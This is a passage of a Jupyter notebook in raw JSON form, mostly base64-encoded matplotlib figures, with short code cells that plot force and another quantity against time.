IXQrJkvZX/XXd5K6NfP7zek9bFsmV8FPmqUz5qaOhUOPrjwNUujKTik+rz+OlNvvtkXRJTCOOUUn/U0YIAvT9Kvn68XlkuAbNgAf/oT7LmnLxNzySU+GN6tW+xlS8MoOKT6tGnDcl0HUHi77AJPPOHXe6xb5wtM9u4NP/kJTJny+cUm33nHl4Pp3dv3B+/Rw5cT+cUvdEV4iVNwiEjhmPkaYTNn+pIgvXp5OBx4oI8p7b67L3m/004+pfeSSzww7r/fZ08dcEDSZyA50J7jIlJ4TZv6WMWoUfDpp36x4Msv+5Xfy5f7Fej77QdHHukBImVFwSEi8erUybutTjop6UqkQNRVJSIieVFwiIhIXhQcIiKSFwWHiIjkRcEhIiJ5UXCIiEheFBwiIpIXBYeIiORFwSEiInlRcIiISF4UHCIikhcFh4iI5EXBISIiebEQQtI1FJyZfQL8pxEvsR2wsEDllINqO1/QOVcLnXN+dgkhbF/fgyoyOBrLzF4KIfRPuo5iqbbzBZ1ztdA5x0NdVSIikhcFh4iI5EXBkdmYpAsosmo7X9A5Vwudcww0xiEiInlRi0NERPKi4EhjZiPM7C0zm21mlyRdT9zM7DYzW2BmryddS7GYWXczm2RmM83sDTO7MOma4mZm25jZC2b2anTOP0+6pmIws6Zm9rKZPZx0LcViZu+b2Wtm9oqZvRTb+6iryplZU+BtYDgwB3gRODWEMCPRwmJkZocAK4A/hxC+kHQ9xWBmXYAuIYRpZtYWmAocV+F/zwa0DiGsMLPmwDPAhSGEyQmXFiszuwjoD7QLIXw56XqKwczeB/qHEGK9dkUtjs0OAGaHEN4NIawD7gaOTbimWIUQngYWJV1HMYUQ5oUQpkXfLwdmAl2TrSpewa2I7jaPvir6E6OZdQOOAv6UdC2VSMGxWVfgw7T7c6jwXyjVzsx6AF8EpiRbSfyibptXgAXAhBBCpZ/zb4EfApuSLqTIAvCEmU01s3PiehMFx2aW4VhFfyqrZmbWBhgHfDeEsCzpeuIWQtgYQugHdAMOMLOK7Zo0sy8DC0IIU5OuJQEHhxD2BY4Ezou6owtOwbHZHKB72v1uwNyEapEYRf3844C/hhDuS7qeYgohLAFqgREJlxKng4Fjov7+u4HDzOzOZEsqjhDC3Oh2AXA/3gVfcAqOzV4EeptZTzNrAZwCPJRwTVJg0UDxrcDMEMJ1SddTDGa2vZl1iL5vCQwD3ky2qviEEC4NIXQLIfTA/x//K4RwRsJlxc7MWkcTPjCz1sDhQCwzJhUckRDCBuA7wOP4gOk9IYQ3kq0qXmZ2F/A8sIeZzTGz0UnXVAQHA1/FP4W+En2NTLqomHUBJpnZdPwD0oQQQtVMUa0inYFnzOxV4AVgfAjhsTjeSNNxRUQkL2pxiIhIXhQcIiKSFwWHiIjkRcEhIiJ5UXCIiEheFBwi9TCzDmZ2btr9nczs3pje6zgz+1kdP+9jZnfE8d4iudJ0XJF6RGtaPVyMFYTN7DngmLpWNzWzJ4GzQwgfxF2PSCZqcYjU7xqgV3Sx4LVm1iO1h4mZfc3MHjCzf5rZe2b2HTO7KNoHYrKZbRs9rpeZPRYtPvdvM9tz6zcxs92BtanQMLMTzez1aB+Np9Me+k/8imiRRCg4ROp3CfBOCKFfCOEHGX7+BeA0fF2gq4BVIYQv4lflnxk9ZgxwfghhP+Bi4A8ZXudgYFra/Z8BR4QQ+gLHpB1/CRjUiPMRaZRmSRcgUgEmRXt7LDezpXiLAOA1YJ9oJd4vAf/wpbIAqMnwOl2AT9LuPwvcYWb3AOmLMS4Adipg/SJ5UXCINN7atO83pd3fhP8fawIsiZY1r8tqoH3qTgjh22Y2AN+Q6BUz6xdC+BTYJnqsSCLUVSVSv+VA24Y+Odrv4z0zOxF8hV4z65vhoTOB3VJ3zKxXCGFKCOFnwEI2L/u/OzGteiqSCwWHSD2iT/nPRgPV1zbwZU4HRkcrl75B5m2Jnwa+aJv7s641s9eigfingVej40OA8Q2sQ6TRNB1XpISY2fXAP0MIT2b5eQ3wFDAw2gpApOjU4hApLVcDrer4+c7AJQoNSZJaHCIikhe1OEREJC8KDhERyYuCQ0RE8qLgEBGRvCg4REQkLwoOERHJy/8DJ8nV7l/vg1oAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fc79c391be0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "fig, ax = plt.subplots(1, 1, figsize=(6,6), sharex=True)\n", "\n", "ax.plot(t,F,c='red')\n", "plt.grid()\n", "plt.xlabel('time (s)')\n", "plt.ylabel('Force (N)')\n", "\n", "\n", "ax.legend()" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "scrolled": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.text.Text at 0x7fc79c1ef550>" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": 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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fc7a7258630>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": 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Ddma+b4xtTwOfL6QiSZIkaRJoZY52GXgnML95/8z8XHFlSZIkSRNbKzes+Q6wAbgXcD62JEmS1IJWgvbczDys8EokSZKkSaSV62h/LyLeXnglkiRJ0iTSyoj27cC3GtfTHgQCyMzcudDKJEmSpAmslaD9v4BjgHuHX+ZPkiRJ0shamTryIHDftoTsiDgxIlZExMqIuGCE7R+PiPsj4p6I+FFE7Nu07cyIeLDxOHNrX1uSJElqp1ZGtJ8Ebo6I7wH9Q41burxf47KAlwBvA1YBSyLihsy8v2m3u4CFmbkuIs4BPgu8NyJ2Az4NLAQSuKNx7PNb8d4kSZKktmllRPsR4EdADzCz6bElRwErM/PhzBwAFgMnN++QmT/OzHWN1duBuY3lE4AfZOZzjXD9A+DEFl5TkiRJ6ghbHNHOzM9s47nnAI83ra8Cjh5j/w8D3xvj2DnbWIckSZK0w406oh0RV0TEoaNs2ykiPhQR7x/j3DFC24jzvCPiA9SniVy8NcdGxFkRsTQilq5Zs2aMUiR1AvusNHHYX6XtN9bUkUuBP4uIByLimoi4NCKujIifArdSnz5y7RjHrwLmNa3PBVYP3ykijgf+G3BSZvZvzbGZeUVmLszMhbNnzx6jFEmdwD4rTRz2V2n7jTp1JDOXAf8hImZQH23eC1gPPJCZK1o49xLgwIjYD3gCOA04vXmHiDgCuBw4MTOfbtp0E/DfI2JWY/3twKdae0uSJElS+7UyR3stcPPWnjgzKxFxPvXQXAauzMzlEXERsDQzb6A+VWQGcE1EADyWmSdl5nMR8efUwzrARZn53NbWIEmSJLVLK5f322aZeSNw47C2C5uWjx/j2CuBK4urTpIkSSpOK5f3kyRJkrSVDNqSJElSAbY4dSQiDgI+AezbvH9m/laBdUmSJEkTWitztK8BvgT8HVAtthxJkiRpcmglaFcy87LCK5EkSZImkVGDdkTs1lj8TkScC3wLGLqhDF5uT5IkSRrdWCPad1C/7fnQ7dA/0bQtgdcVVZQkSZI00Y11Z8j9ACJiWmZuaN4WEdOKLkySJEmayFq5vN+tLbZJkiRJahhrjvZrgTnA9Ig4gk1TSHYG+nZAbZIkSdKENdYc7ROADwJzgc81tb8M/NcCa5IkSZImvLHmaF8FXBUR78nM63ZgTZIkSdKE18p1tPeNiI8Pa3sRuCMzlxVQkyRJkjThtfJlyIXA2dTna88BzgJ+A/i7iPhkcaVJkiRJE1crI9q7A0dm5lqAiPg0cC1wHPVrbX+2uPIkSZKkiamVEe19gIGm9UFg38xcT9OdIiVJki